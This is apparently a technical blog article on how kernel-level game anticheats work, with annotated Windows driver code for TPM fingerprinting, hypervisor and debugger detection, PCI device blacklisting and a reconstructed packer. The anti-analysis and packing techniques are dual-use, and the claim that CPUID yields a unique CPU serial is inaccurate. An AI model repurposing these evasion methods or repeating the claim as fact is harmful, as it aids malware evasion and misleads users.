Continuous verification of the integrity of the game's executable and memory space is critical. Anticheats employ techniques such as cyclic redundancy checks (CRC), hash-based verifications, and periodic integrity checks on both static and dynamic code sections. This ensures that any unauthorized modifications or injections are detected and thwarted promptly.

Similar to EDRs, anticheat systems also rely on behavioral analysis but with a more aggressive stance. This includes monitoring for patterns indicative of cheating, such as abnormal input rates, suspicious memory modifications, and unauthorized API calls. But this has also extended into more, aggressive and spyware like behavior.

Unlike EDR systems that may prioritize logging and post-event analysis, anticheat solutions require real-time intervention capabilities. This means detecting and responding to cheating attempts as they occur, often resulting in the immediate suspension or banning of the offending player. Techniques such as immediate process termination, user session invalidation, and real-time communication with game servers for coordinated responses are employed.

Fundamentally, the adversarial relationship between the user and anticheat systems changes the entire dynamic of how the software operates and what measures it employs. In the case of EDR systems, the security model is built on trust. The assumption is that the endpoint user is cooperating with the security measures, and the focus is on detecting, analyzing, and responding to threats that typically come from external sources. In contrast, anticheat systems operate in an inherently hostile environment. The anticheat software must assume that the user (or a subset of users) will actively attempt to circumvent its measures.

This article is meant as introducing people to the concept of kernel-level anticheats, how it works, and what does it do. While i talk alot about the anticheats like MiHoYo Protect (mhyprot.sys) and Riot Games Vanguard (vgk.sys), the discussion here about the telemetry and protection methods are more of a combination of alot of different methods i've found tinkering with different anticheat programs, public documentation, and also code from the ac open source anticheat by donnaskiez under the AGPL-3.0.

Environment Verification and Fingerprinting

Anticheats must be able to validate the environment they are running on to make sure that they are running inside of a trusted environment. This is not only to do things such as enforcing game bans, but also to detect if they are being run in a virtual machine, debugger, or sandbox, which are common tools used by cheat developers to analyze and bypass anti-cheat protections.

This includes the fingerprinting of the hardware that they are running on, detecting malicious PCI devices, and also detecting virtualized environments. The latter reason is why games like Valorant are unable to be run through translation layers like Crossover (Mac) or Wine (Linux).

Hardware Fingerprinting Through TPM

Extraction of hardware identifiers involves identifying and collecting unique information from the hardware components of a computer system to ensure the integrity and authenticity of the system running the software. This is crucial for anti-cheat mechanisms as it helps in uniquely identifying a machine, preventing users from easily evading bans or other restrictions by simply reinstalling the software or changing user accounts.

To extract hardware identifiers, the kernel-level driver interacts directly with the hardware or low-level system APIs. For instance, the driver might query the system's BIOS, CPU, motherboard, network interfaces, and other components to gather unique identifiers such as serial numbers or MAC addresses.

One common approach is to use the CPUID instruction to obtain the CPU's serial number and other characteristics. This can be achieved using inline assembly in C:

void get_cpu_id(char* cpu_id) {
    int cpu_info[4] = { 0 };
    __cpuid(cpu_info, 0);
    sprintf(cpu_id, "%08X%08X%08X%08X", cpu_info[0], cpu_info[1], cpu_info[2], cpu_info[3]);
}

In the code, the __cpuid intrinsic is used to execute the CPUID instruction, which fills the cpu_info array with the CPU's identification information. This information is then formatted into a string that represents the CPU's unique ID.

But there are more aggressive anticheats like Riot Games' Vanguard Anticheat, which requires TPM (Trusted Platform Module) to extract unique hardware-related information. TPM is used by apps to securely create and store cryptographic keys, and to confirm that the operating system and firmware on your device are what they're supposed to be, and haven't been tampered with.

Anti-cheat systems use hardware identifiers to ensure that the machine's hardware and firmware have not been tampered with. By regularly verifying these identifiers against known values, the system can detect if any unauthorized hardware changes have been made, which might indicate an attempt to compromise the game's security.

Some cheats also operate by modifying hardware-level interactions, such as manipulating memory or utilizing custom drivers to alter game behavior. By monitoring hardware identifiers, the anti-cheat system can detect unusual changes or unauthorized access at the hardware level, which is often a strong indicator of cheating.

We first need to ensure the current platform can support TPM operations by checking the CPU type. If the TPM hardware is present, we can go ahead and determine the type of TPM interface. We can read the TPM CRB (Command Response Buffer) interface identifier and FIFO interface capability from physical memory to identify the specific type of TPM interface.

STATIC NTSTATUS TpmGetPtpInterfaceType(_In_ PVOID Register, _Out_ TPM2_PTP_INTERFACE_TYPE* InterfaceType) {
    NTSTATUS                      status     = STATUS_UNSUCCESSFUL;
    PTP_CRB_INTERFACE_IDENTIFIER  identifier = {0};
    PTP_FIFO_INTERFACE_CAPABILITY capability = {0};

    *InterfaceType = 0;

    status = MapAndReadPhysical(
        (UINT64)(&((PTP_CRB_REGISTERS*)Register)->InterfaceId),
        sizeof(PTP_CRB_INTERFACE_IDENTIFIER),
        &identifier,
        sizeof(PTP_CRB_INTERFACE_IDENTIFIER));

    if (!NT_SUCCESS(status)) {
        DEBUG_ERROR("MapAndReadPhysical: %x", status);
        return status;
    }

    status = MapAndReadPhysical(
        (UINT64) & ((PTP_FIFO_REGISTERS*)Register)->InterfaceCapability,
        sizeof(PTP_FIFO_INTERFACE_CAPABILITY),
        &capability,
        sizeof(PTP_FIFO_INTERFACE_CAPABILITY));

    if (!NT_SUCCESS(status)) {
        DEBUG_ERROR("MapAndReadPhysical: %x", status);
        return status;
    }

    *InterfaceType = TpmExtractInterfaceTypeFromCapabilityAndId(&identifier, &capability);

    return status;
}

We can then determines the TPM interface type and retrieves the TPM endorsement key, which serves as a unique hardware identifier.

NTSTATUS TpmExtractEndorsementKey() {
    NTSTATUS                status   = STATUS_UNSUCCESSFUL;
    BOOLEAN                 presence = FALSE;
    TPM2_PTP_INTERFACE_TYPE type     = {0};

    if (!TpmIsPlatformSupported())
        return STATUS_NOT_SUPPORTED;

    status = TpmCheckPtpRegisterPresence(TPM20_INTEL_BASE_PHYSICAL, &presence);

    if (!NT_SUCCESS(status)) {
        DEBUG_ERROR("TpmCheckPtpRegisterPresence: %x", status);
        return status;
    }

    if (!presence) {
        DEBUG_INFO("TPM2.0 PTP Presence not detected.");
        return STATUS_UNSUCCESSFUL;
    }

    status = TpmGetPtpInterfaceType(TPM20_INTEL_BASE_PHYSICAL, &type);

    if (!NT_SUCCESS(status)) {
        DEBUG_ERROR("TpmGetPtpInterfaceType: %x", status);
        return status;
    }

    DEBUG_INFO("TPM2.0 PTP Interface Type: %x", (UINT32)type);
    return status;
}

Once the TPM endorsement key is retrieved, the anti-cheat system can use this key to create a unique profile for the device, ensuring that each device can be reliably tracked. This helps in identifying and tracking users across different gaming sessions, even if they change their network identities or reinstall the game.

The endorsement key can be used as part of a larger integrity check process. By combining the endorsement key with other hardware and software identifiers, the anti-cheat system can create a comprehensive profile of the system. This profile can be checked against known good states to detect any unauthorized changes or tampering, ensuring that the system has not been compromised.

We can do this by reading the Platform Configuration Register (PCR) value from the TPM (Trusted Platform Module) to detect if the device has been tampered with. This involves several steps: ensuring buffer size, initializing a TBS (TPM Base Services) context, preparing and sending a TPM command, checking the TPM response, extracting the PCR value, and cleaning up resources.

The function starts by ensuring that the provided buffer is large enough to hold the PCR value, which is typically 32 bytes for SHA-256 hashed values.

NTSTATUS ReadPcrValue(UINT32 pcrIndex, BYTE* pcrValue, UINT32 pcrValueSize) {
    if (pcrValueSize < PCR_VALUE_SIZE) {
        return STATUS_BUFFER_TOO_SMALL;
    }

Next, a TBS context is initialized. The TBS context facilitates communication with the TPM hardware. The TBS_CONTEXT_PARAMS2 structure is configured to specify the use of TPM 2.0, as detailed in a Microsoft documentation about the issue.

   TBS_HCONTEXT hContext = NULL;
    TBS_RESULT result;
    NTSTATUS status = STATUS_UNSUCCESSFUL;

    // Initialize the TBS context
    TBS_CONTEXT_PARAMS2 contextParams;
    contextParams.version = TBS_CONTEXT_VERSION_TWO;
    contextParams.asUINT32 = 0;
    contextParams.includeTpm12 = 0;
    contextParams.includeTpm20 = 1;

    result = Tbsi_Context_Create((PCTBS_CONTEXT_PARAMS)&contextParams, &hContext);
    if (result != TBS_SUCCESS) {
        DEBUG_ERROR("Tbsi_Context_Create failed with result: %x", result);
        return STATUS_UNSUCCESSFUL;
    }

The function then prepares the TPM command buffer. This buffer holds the TPM command to read the PCR value. The command is structured according to the TPM 2.0 specification, beginning with a command header containing the command code for TPM2_PCR_Read.

// Prepare TPM command buffer
    BYTE commandBuffer[1024] = { 0 };
    UINT32 commandSize = sizeof(commandBuffer);
    BYTE responseBuffer[1024] = { 0 };
    UINT32 responseSize = sizeof(responseBuffer);

    // TPM2_PCR_Read command
    TPM2_COMMAND_HEADER* commandHeader = (TPM2_COMMAND_HEADER*)commandBuffer;
    commandHeader->tag = htons(TPM_ST_NO_SESSIONS);
    commandHeader->commandCode = htonl(TPM_CC_PCR_Read);
    commandHeader->commandSize = htonl(22);

    TPM2_PCR_SELECTION* pcrSelection = (TPM2_PCR_SELECTION*)(commandBuffer + sizeof(TPM2_COMMAND_HEADER));
    pcrSelection->hash = htons(TPM_ALG_SHA256);
    pcrSelection->sizeOfSelect = 3;
    memset(pcrSelection->pcrSelect, 0, 3);
    pcrSelection->pcrSelect[pcrIndex / 8] = (1 << (pcrIndex % 8));

The command is then sent to the TPM using the Tbsip_Submit_Command function. This function handles the low-level communication with the TPM, sending the command buffer and receiving the response buffer.

    // Send the TPM command
    result = Tbsip_Submit_Command(hContext, TBS_COMMAND_LOCALITY_ZERO, TBS_COMMAND_PRIORITY_NORMAL, commandBuffer, commandSize, responseBuffer, &responseSize);
    if (result != TBS_SUCCESS) {
        DEBUG_ERROR("Tbsip_Submit_Command failed with result: %x", result);
        Tbsip_Context_Close(hContext);
        return STATUS_UNSUCCESSFUL;
    }

Upon receiving the response, the function checks the TPM response header to ensure that the command was processed successfully. The response header contains the status of the TPM command.

    // Check the TPM response
    TPM2_RESPONSE_HEADER* responseHeader = (TPM2_RESPONSE_HEADER*)responseBuffer;
    if (ntohs(responseHeader->tag) != TPM_ST_NO_SESSIONS || ntohl(responseHeader->responseCode) != TPM_RC_SUCCESS) {
        DEBUG_ERROR("TPM command failed with response code: %x", ntohl(responseHeader->responseCode));
        Tbsip_Context_Close(hContext);
        return STATUS_UNSUCCESSFUL;
    }

If the TPM command was successful, the function extracts the PCR value from the response buffer. The PCR values are located after the standard response header and other response data. The function copies the PCR value into the provided buffer.

    // Extract the PCR value
    BYTE* pcrValues = responseBuffer + sizeof(TPM2_RESPONSE_HEADER) + 10; // Skipping the rest of the PCR read response structure
    memcpy(pcrValue, pcrValues, PCR_VALUE_SIZE);

With this, the anticheat can detect any unauthorized changes to the system's firmware, bootloader, or other critical components, thereby ensuring the integrity of the device.

EPT Hook Detection for Hypervisor Fingerprinting

EPT (Extended Page Tables) hook detection is a technique used to identify hidden hypervisors or virtualization-based rootkits that manipulate memory access through EPT. This feature, part of Intel VT-x technology, allows a hypervisor to control guest physical address translation, enabling efficient virtualization but also providing a potential vector for malicious activity.

EPT hooks can monitor and modify memory accesses stealthily, making traditional anti-cheat mechanisms ineffective. To counter this, EPT hook detection involves measuring read latencies to identify anomalies indicative of EPT manipulation.

First, we can retrieve and store the addresses of both control functions and protected functions. Control functions serve as a baseline for normal read times, while protected functions are commonly targeted by EPT hooks.

STATIC
NTSTATUS
InitiateEptFunctionAddressArrays()
{
    PAGED_CODE();

    UNICODE_STRING current_function;

    for (INT index = 0; index < EPT_CONTROL_FUNCTIONS_COUNT; index++) {
        ImpRtlInitUnicodeString(&current_function, CONTROL_FUNCTIONS[index]);
        CONTROL_FUNCTION_ADDRESSES[index] =
            ImpMmGetSystemRoutineAddress(&current_function);

        if (!CONTROL_FUNCTION_ADDRESSES[index])
            return STATUS_UNSUCCESSFUL;
    }

    for (INT index = 0; index < EPT_PROTECTED_FUNCTIONS_COUNT; index++) {
        ImpRtlInitUnicodeString(&current_function, PROTECTED_FUNCTIONS[index]);
        PROTECTED_FUNCTION_ADDRESSES[index] =
            ImpMmGetSystemRoutineAddress(&current_function);

        if (!PROTECTED_FUNCTION_ADDRESSES[index])
            return STATUS_UNSUCCESSFUL;
    }

    return STATUS_SUCCESS;
}

The average read times of control functions are measured to establish a baseline. This is done by reading the function addresses multiple times and calculating the average time taken for these reads.

STATIC
UINT64
MeasureReads(_In_ PVOID Address, _In_ ULONG Count)
{
    UINT64 read_average = 0;
    KIRQL  irql         = {0};

    MeasureInstructionRead(Address);

    KeRaiseIrql(HIGH_LEVEL, &irql);
    _disable();

    for (ULONG iteration = 0; iteration < Count; iteration++)
        read_average += MeasureInstructionRead(Address);

    _enable();
    KeLowerIrql(irql);

    return read_average / Count;
}

STATIC
NTSTATUS
GetAverageReadTimeAtRoutine(_In_ PVOID    RoutineAddress,
                            _Out_ PUINT64 AverageTime)
{
    if (!RoutineAddress || !AverageTime)
        return STATUS_UNSUCCESSFUL;

    if (!MmIsAddressValid(RoutineAddress))
        return STATUS_INVALID_ADDRESS;

    *AverageTime = MeasureReads(RoutineAddress, EPT_CHECK_NUM_ITERATIONS);

    return *AverageTime == 0 ? STATUS_UNSUCCESSFUL : STATUS_SUCCESS;
}

The read times of protected functions are measured in the same way as control functions. These times are then compared to the baseline read times of the control functions.

NTSTATUS
DetectEptHooksInKeyFunctions()
{
    PAGED_CODE();

    NTSTATUS status           = STATUS_UNSUCCESSFUL;
    UINT32   control_fails    = 0;
    UINT64   instruction_time = 0;
    UINT64   control_time_sum = 0;
    UINT64   control_average  = 0;

    status = InitiateEptFunctionAddressArrays();

    if (!NT_SUCCESS(status)) {
        return status;
    }

    for (INT index = 0; index < EPT_CONTROL_FUNCTIONS_COUNT; index++) {
        status = GetAverageReadTimeAtRoutine(CONTROL_FUNCTION_ADDRESSES[index],
                                             &instruction_time);

        if (!NT_SUCCESS(status)) {
            control_fails += 1;
            continue;
        }

        control_time_sum += instruction_time;
    }

    if (control_time_sum == 0)
        return STATUS_UNSUCCESSFUL;

    control_average =
        control_time_sum / (EPT_CONTROL_FUNCTIONS_COUNT - control_fails);

    if (control_average == 0)
        return STATUS_UNSUCCESSFUL;

    for (INT index = 0; index < EPT_PROTECTED_FUNCTIONS_COUNT; index++) {
        status = GetAverageReadTimeAtRoutine(
            PROTECTED_FUNCTION_ADDRESSES[index], &instruction_time);

        if (!NT_SUCCESS(status)) {
            continue;
        }

        if (control_average * EPT_EXECUTION_TIME_MULTIPLIER <
            instruction_time) {
            DEBUG_WARNING(
                "EPT hook detected at function: %llx with execution time of: %llx",
                PROTECTED_FUNCTION_ADDRESSES[index],
                instruction_time);
        }
    }

    return status;
}

If the read time for a protected function significantly exceeds the baseline, it indicates that an EPT hook is present, which is a strong indicator of a hypervisor.

if (control_average * EPT_EXECUTION_TIME_MULTIPLIER < instruction_time) {
    DEBUG_WARNING(
        "EPT hook detected at function: %llx with execution time of: %llx",
        PROTECTED_FUNCTION_ADDRESSES[index],
        instruction_time);
}

By measuring and comparing the read times, the detection mechanism can identify the additional latency introduced by EPT hooks. Since EPT hooks are typically used by hypervisors, detecting these hooks can effectively indicate the presence of a hypervisor.

Malicious PCI Device Detection

Detecting malicious PCI devices is crucial in the context of kernel-level anti-cheats for several reasons. PCI devices operate at a low level within the computer's architecture, providing direct access to the system's memory and hardware, which allows malicious devices to execute arbitrary code and manipulate system operations in ways that are difficult to detect and counteract from higher levels of the operating system. A malicious PCI device can intercept, alter, or inject malicious code directly into the system memory.

Anticheat systems usually perform malicious PCI device detection by scanning the configuration space of PCI devices. Every PCI device has a set of registers commonly referred to as the PCI configuration space. In modern PCI-e devices, an extended configuration space is implemented, which is mapped into the main memory, allowing the system to read/write to the registers. The configuration space consists of a standard header containing information such as the DeviceID, VendorID, Status, and other details.

This configuration space allows querying important information from PCI devices within the device tree using the IRP_MN_READ_CONFIG code, which reads from a PCI device's configuration space.

We can first start by enumerating all PCI device objects in the system.

NTSTATUS
ValidatePciDevices()
{
    NTSTATUS status = STATUS_UNSUCCESSFUL;

    status = EnumeratePciDeviceObjects(PciDeviceQueryCallback, NULL);

    if (!NT_SUCCESS(status))
        DEBUG_ERROR("EnumeratePciDeviceObjects failed with status %x", status);

    return status;
}

Windows splits DEVICE_OBJECTS into two categories: Physical Device Object (PDO) and Functional Device Object (FDO). A PDO represents each device connected to a physical bus, with an associated DEVICE_NODE, while an FDO represents the functionality of the device, defining how the system interacts with the device objects. A device stack can have multiple PDOs but only one FDO. To access each PCI device on the system, the anti-cheat system can enumerate all device objects given the PCI FDO, which is managed by pci.sys.

We first retrieve the driver object associated with the PCI driver (pci.sys). It then enumerates all device objects managed by this driver, storing them in an array. For each device object, it checks if the object is a valid Physical Device Object (PDO) by calling the IsDeviceObjectValidPdo function. If it is a valid PDO, the callback routine (PciDeviceQueryCallback) is invoked.

NTSTATUS
EnumeratePciDeviceObjects(_In_ PCI_DEVICE_CALLBACK CallbackRoutine,
                          _In_opt_ PVOID           Context)
{
    NTSTATUS        status             = STATUS_UNSUCCESSFUL;
    UNICODE_STRING  pci                = RTL_CONSTANT_STRING(L"\\Driver\\pci");
    PDRIVER_OBJECT  pci_driver_object  = NULL;
    PDEVICE_OBJECT* pci_device_objects = NULL;
    PDEVICE_OBJECT  current_device     = NULL;
    UINT32          pci_device_objects_count = 0;

    status = GetDriverObjectByDriverName(&pci, &pci_driver_object);

    if (!NT_SUCCESS(status)) {
        DEBUG_ERROR("GetDriverObjectByDriverName failed with status %x",
                    status);
        return status;
    }

    status = EnumerateDriverObjectDeviceObjects(
        pci_driver_object, &pci_device_objects, &pci_device_objects_count);

    if (!NT_SUCCESS(status)) {
        DEBUG_ERROR("EnumerateDriverObjectDeviceObjects failed with status %x",
                    status);
        return status;
    }

    for (UINT32 index = 0; index < pci_device_objects_count; index++) {
        current_device = pci_device_objects[index];

        /* make sure we have a valid PDO */
        if (!IsDeviceObjectValidPdo(current_device)) {
            ObDereferenceObject(current_device);
            continue;
        }

        status = CallbackRoutine(current_device, Context);

        if (!NT_SUCCESS(status))
            DEBUG_ERROR(
                "EnumeratePciDeviceObjects CallbackRoutine failed with status %x",
                status);

        ObDereferenceObject(current_device);
    }

    if (pci_device_objects)
        ExFreePoolWithTag(pci_device_objects, POOL_TAG_HW);

    return status;
}

Then we read the device's configuration space, starting from the PCI_VENDOR_ID_OFFSET, and stores this data in a PCI_COMMON_HEADER structure. The configuration space consists of a standard header containing information such as the DeviceID, VendorID, Status, and other details. The function reads this space using an IRP with the IRP_MN_READ_CONFIG code.

STATIC
NTSTATUS
PciDeviceQueryCallback(_In_ PDEVICE_OBJECT DeviceObject, _In_opt_ PVOID Context)
{
    UNREFERENCED_PARAMETER(Context);

    NTSTATUS          status = STATUS_UNSUCCESSFUL;
    PCI_COMMON_HEADER header = {0};

    status = QueryPciDeviceConfigurationSpace(
        DeviceObject, PCI_VENDOR_ID_OFFSET, &header, sizeof(PCI_COMMON_HEADER));

    if (!NT_SUCCESS(status)) {
        DEBUG_ERROR("QueryPciDeviceConfigurationSpace failed with status %x",
                    status);
        return status;
    }

    if (IsPciConfigurationSpaceFlagged(&header)) {
        DEBUG_VERBOSE("Flagged DeviceID found. Device: %llx, DeviceId: %lx",
                      (UINT64)DeviceObject,
                      header.DeviceID);
        ReportBlacklistedPcieDevice(DeviceObject, &header);
    }
    else {
        DEBUG_VERBOSE("Device: %llx, DeviceID: %lx, VendorID: %lx",
                      DeviceObject,
                      header.DeviceID,
                      header.VendorID);
    }

    return status;
}

Then we can send an IRP (I/O Request Packet) to read the configuration space of the PCI device. We then wait for the IRP to complete and then returns the status of the operation. The configuration space contains important registers such as the DeviceID, VendorID, Status, Command, and others, which are crucial for identifying the device.

STATIC
NTSTATUS
QueryPciDeviceConfigurationSpace(_In_ PDEVICE_OBJECT DeviceObject,
                                 _In_ UINT32         Offset,
                                 _Out_opt_ PVOID     Buffer,
                                 _In_ UINT32         BufferLength)
{
    NTSTATUS           status = STATUS_UNSUCCESSFUL;
    KEVENT             event  = {0};
    IO_STATUS_BLOCK    io     = {0};
    PIRP               irp    = NULL;
    PIO_STACK_LOCATION packet = NULL;

    if (BufferLength == 0)
        return STATUS_BUFFER_TOO_SMALL;

    KeInitializeEvent(&event, NotificationEvent, FALSE);

    /*
     * we dont need to free this IRP as the IO manager will free it when the
     * request is completed
     */
    irp = IoBuildSynchronousFsdRequest(
        IRP_MJ_PNP, DeviceObject, NULL, 0, NULL, &event, &io);

    if (!irp) {
        DEBUG_ERROR("IoBuildSynchronousFsdRequest failed with no status.");
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    packet                = IoGetNextIrpStackLocation(irp);
    packet->MinorFunction = IRP_MN_READ_CONFIG;
    packet->Parameters.ReadWriteConfig.WhichSpace = PCI_WHICHSPACE_CONFIG;
    packet->Parameters.ReadWriteConfig.Offset     = Offset;
    packet->Parameters.ReadWriteConfig.Buffer     = Buffer;
    packet->Parameters.ReadWriteConfig.Length     = BufferLength;

    status = IoCallDriver(DeviceObject, irp);

    if (status == STATUS_PENDING) {
        KeWaitForSingleObject(&event, Executive, KernelMode, FALSE, NULL);
        status = io.Status;
    }

    if (!NT_SUCCESS(status))
        DEBUG_ERROR("Failed to read configuration space with status %x",
                    status);

    return status;
}

Once the configuration space is read, we can check if the device ID is among the flagged IDs. If the device ID matches any of the flagged IDs, we can report the blacklisted device.

BOOLEAN
IsPciConfigurationSpaceFlagged(_In_ PPCI_COMMON_HEADER Configuration)
{
    for (UINT32 index = 0; index < FLAGGED_DEVICE_ID_COUNT; index++) {
        if (Configuration->DeviceID == FLAGGED_DEVICE_IDS[index])
            return TRUE;
    }

    return FALSE;
}

Game Binary and Driver Protection

One of the primary concern for both EDR and anticheat developers is the protection of its binary and processes. While EDRs sometimes fall back on protections given to them through the MVI program, anticheat providers need to think of more creative solutions on how to ward off static and dynamic analysis.

Usually anticheats don't operate alone, but alongside an antitamper solution. They also sometimes have really good ASCII art games, like this one from Packman, an antitamper for Vanguard Anticheat.

But Byfron's Hyperion, the antitamper for EasyAntiCheat in Roblox, is definitely winning brownie points from me for (to my knowledge) the first implementation of REpsych on production software.

But what are the protections these antitamper systems give?

Binary Packing

Binary packing is the technique of encrypting executable files and binaries to obscure their content, making it harder to detect or analyze them statically. Ideally in games, you only authorized processes can access and modify the game assets, thereby protecting the game's integrity.

But encrypting/decrypting game assets and binaries can have severe impacts to performance as some DRM providers would like you to not believe. While there are many packers on the market today, they are often very performance heavy and offer little control to improve performance in graphics-heavy applications.

For the aforementioned packman, Riot Games somewhat explain how it works here. The code below is not an exact replica of the solution, but more of what i think a solution looks like. Mind you this solution is based on incomplete information from their blogpost and likely doesn't work anymore.

The encryption process starts by initializing an initial structure, which holds the cipher state for each decryption event. Then we initialize this key using a randomly generated seed value.

struct GKey {
    uint8_t key[0x100];
    uint8_t count;
    uint8_t hold;
};

void SpawnKey(GKey* gk, const uint8_t* seed, size_t len) {
    for (int i = 0; i < 0x100; i++) {
        gk->key[i] = i;
    }
    uint8_t h = 0;
    for (int i = 0; i < 0x100; i++) {
        uint8_t j = gk->key[i];
        h += seed[i % len] + j;
        gk->key[i] = gk->key[h];
        gk->key[h] = j;
    }
}

The encryption routine uses an initialized key to encrypt the data and the same function is used for both encryption and decryption due to the symmetry of the XOR operation. Each byte of the input data is encrypted by modifying the count and hold counters and performing a series of swaps and XOR operations.

void Encrypt(GKey* gk, const void* in, void* out, size_t len) {
    uint8_t t1, t2;
    uint8_t j;
    for (uint32_t i = 0; i < len; i++) {
        gk->count++;
        j = gk->count;
        gk->hold += gk->key[j];
        t1 = gk->key[j];
        t2 = gk->key[gk->hold];
        gk->key[j] = t2;
        gk->key[gk->hold] = t1;
        t1 += t2;
        ((uint8_t*)out)[i] = ((uint8_t*)in)[i] ^ gk->key[t1];
    }
}

When the game client is executed, the .text section of the executable file needs to be decrypted. The decryption routine involves re-initializing the key and decrypting the data in stages, starting with the primary seed.

void Decrypt(GKey* gk, const void* in, void* out, size_t len) {
    uint8_t t1, t2;
    uint8_t j;
    for (uint32_t i = 0; i < len; i++) {
        gk->count++;
        j = gk->count;
        gk->hold += gk->key[j];
        t1 = gk->key[j];
        t2 = gk->key[gk->hold];
        gk->key[j] = t2;
        gk->key[gk->hold] = t1;
        t1 += t2;
        ((uint8_t*)out)[i] = ((uint8_t*)in)[i] ^ gk->key[t1];
    }
}

Riot Games overcame the limitations of traditional stub code injection by using an external library for unpacking. This method allows for validating game dependencies before they are loaded, ensuring the integrity of the game’s libraries. The process involves modifying the game’s import descriptors to list only their custom library, which loads first and validates other dependencies.

// Pointers to the 'real' Import Table and array of name lengths
IMAGE_IMPORT_DESCRIPTOR* import_descriptor_ptr = (IMAGE_IMPORT_DESCRIPTOR*)(league + 0x13D4B10);
uint32_t* import_name_len_ptr = (uint32_t*)(stub + 0xBF5C8);

// Decrypt and validate the imports
for (int i = 0; i < 0x13; i++) {
    Decrypt(&gk, import_descriptor_ptr, import_descriptor_ptr, 0x14);
    size_t len = *import_name_len_ptr;
    uint8_t* name_ptr = league + import_descriptor_ptr->name_rva;
    Decrypt(&gk, name_ptr, name_ptr, len);
    // Validate and load libraries
    import_descriptor_ptr++;
    import_name_len_ptr++;
}

The .text section is decrypted in pages, allowing for non-sequential decryption. Each 4096-byte page is decrypted independently using a unique key derived from the primary seed, ensuring the security of the game code during execution.

uint32_t num_pages = ltext_len / 0x1000;
for (uint32_t i = 1; i <= num_pages; i++) {
    memset(&gk, 0, sizeof(GKey));
    uint8_t* seed = decrypt2_seed + ((i % 0x53) * decrypt2_seed_len);
    uint8_t* text = league + (i * 0x1000);
    SpawnKey(&gk, seed, decrypt2_seed_len);
    Decrypt(&gk, text, text, 0x1000);
}

Anti-Debugging

While static analysis can be thwarted easily, the use of dynamic analysis tools present a more complicated challenge. Anti-debugging techniques in anti-cheat systems are designed to detect and counteract these tools.

Windows itself has built in protections against debuggers such as the IsDebuggerPresent and CheckRemoteDebuggerPresent function, which checks the PEB (Process Environment Block) of the calling process. The PEB contains a flag named BeingDebugged, which is set to 1 if a debugger is attached. The problem with these solutions is that they are easily circumvented by patching the flags. This can be done directly sometimes if you use OllyDbg or x32/64dbg as a debugger, with plugins such as ScyllaHide.

This is why many packers protect binaries from debuggers using some more interesting methods, one of them being the use of INT 3. The INT 3 instruction is a single-byte opcode (0xCC) designed to signal a breakpoint. When the CPU encounters this instruction, it generates an EXCEPTION_BREAKPOINT, which is a specific type of interrupt that transfers control to an exception handler. In the context of Windows, the exception handler is part of the system's structured exception handling (SEH) mechanism.

bool g_bDebugged = false;

int filter(unsigned int code, struct _EXCEPTION_POINTERS *ep)
{
    g_bDebugged = code != EXCEPTION_BREAKPOINT;
    return EXCEPTION_EXECUTE_HANDLER;
}

bool IsDebugged()
{
    __try
    {
        __asm __emit(0xCD);
        __asm __emit(0x03);
    }
    __except (filter(GetExceptionCode(), GetExceptionInformation()))
    {
        return g_bDebugged;
    }
}

When the EXCEPTION_BREAKPOINT occurs, Windows adjusts the Instruction Pointer (EIP) to point to the address of the 0xCC opcode. This adjustment is crucial for the debugger to handle the breakpoint correctly. The EIP is decremented by one to point to the 0xCC instruction, allowing the debugger to recognize and process the breakpoint instruction.

When a process is being traced in a debugger, the inherent delays introduced between instructions and their execution can be significant. Detecting these delays can also help in identifying the presence of a debugger. For this purpose, we can use the RDPMC instruction to read the performance monitoring counters of the processor.

These counters keep track of various events such as the number of instructions executed, cache misses, and more. The usage of RDPMC requires the PCE (Performance-Monitoring Counter Enable) flag to be set in the CR4 register, which typically limits its usage to kernel mode.

bool IsDebugged(DWORD64 qwNativeElapsed)
{
    ULARGE_INTEGER Start, End;
    __asm
    {
        xor  ecx, ecx    // Select performance counter 0
        rdpmc            // Read performance counter
        mov  Start.LowPart, eax
        mov  Start.HighPart, edx
    }

    // ... some work ...

    __asm
    {
        xor  ecx, ecx    // Select performance counter 0
        rdpmc            // Read performance counter
        mov  End.LowPart, eax
        mov  End.HighPart, edx
    }

    return (End.QuadPart - Start.QuadPart) > qwNativeElapsed;
}

RDPMC is used to read the performance counter before and after executing some work. By comparing the difference with a predefined threshold, we can detect if a debugger or VM is slowing down execution.

Telemetry & Defenses in Anticheats

Telemetry is important to detect certain behaviors that is closely linked to cheating. This is where the approach of detection differs to EDRs which mainly line of telemetry is through OS-provided event streams like Microsoft Threat Intelligence Drivers (ETW-TI) which is locked behind the Microsoft MVI program. Anticheats do not have access to these event streams. EDRs are also protected using things like Early Launch Anti Malware (ELAM) drivers and Process Protection Light (PPL), which are also locked behind the MVI program.

Attached Thread Detection

Attached thread detection is a technique used to identify and monitor threads that are injected into a process. This process is crucial for anti-cheat systems, as it allows the detection of unauthorized threads that might be used to read or modify game memory, disrupt normal operations, or execute arbitrary code within the game's process space.

In the Windows operating system, threads can be created within a process using various methods, including CreateRemoteThread, NtCreateThreadEx, or through DLL injection. By monitoring these threads, one can identify and potentially prevent malicious activities.

To start, the driver sets up a notification routine for thread creation using the PsSetCreateThreadNotifyRoutine API. This routine gets called whenever a new thread is created in the system.

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    NTSTATUS status;
    DriverObject->DriverUnload = DriverUnload;

    status = PsSetCreateThreadNotifyRoutine(ThreadCreateNotifyRoutine);
    if (!NT_SUCCESS(status))
    {
        DbgPrint("Failed to set thread creation notify routine\n");
        return status;
    }

    DbgPrint("Driver loaded successfully\n");
    return STATUS_SUCCESS;
}

PsSetCreateThreadNotifyRoutine registers ThreadCreateNotifyRoutine as the callback function that will be invoked whenever a thread is created. The DriverUnload function ensures that this callback is properly removed when the driver is unloaded.

When a new thread is created, the ThreadCreateNotifyRoutine function is called. This function retrieves the thread object using PsLookupThreadByThreadId and then validates the thread's context.

VOID ThreadCreateNotifyRoutine(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create)
{
    if (Create)
    {
        PETHREAD Thread;
        NTSTATUS status = PsLookupThreadByThreadId(ThreadId, &Thread);
        if (NT_SUCCESS(status))
        {
            if (!ValidateThreadContext(Thread))
            {
                DbgPrint("Unauthorized thread detected in process %d\n", ProcessId);
            }
            ObDereferenceObject(Thread);
        }
    }
}

In the ThreadCreateNotifyRoutine, when a thread is created (Create is TRUE), the function looks up the thread object using PsLookupThreadByThreadId. Once the thread object is retrieved, it is passed to the ValidateThreadContext function to determine if the thread is legitimate.

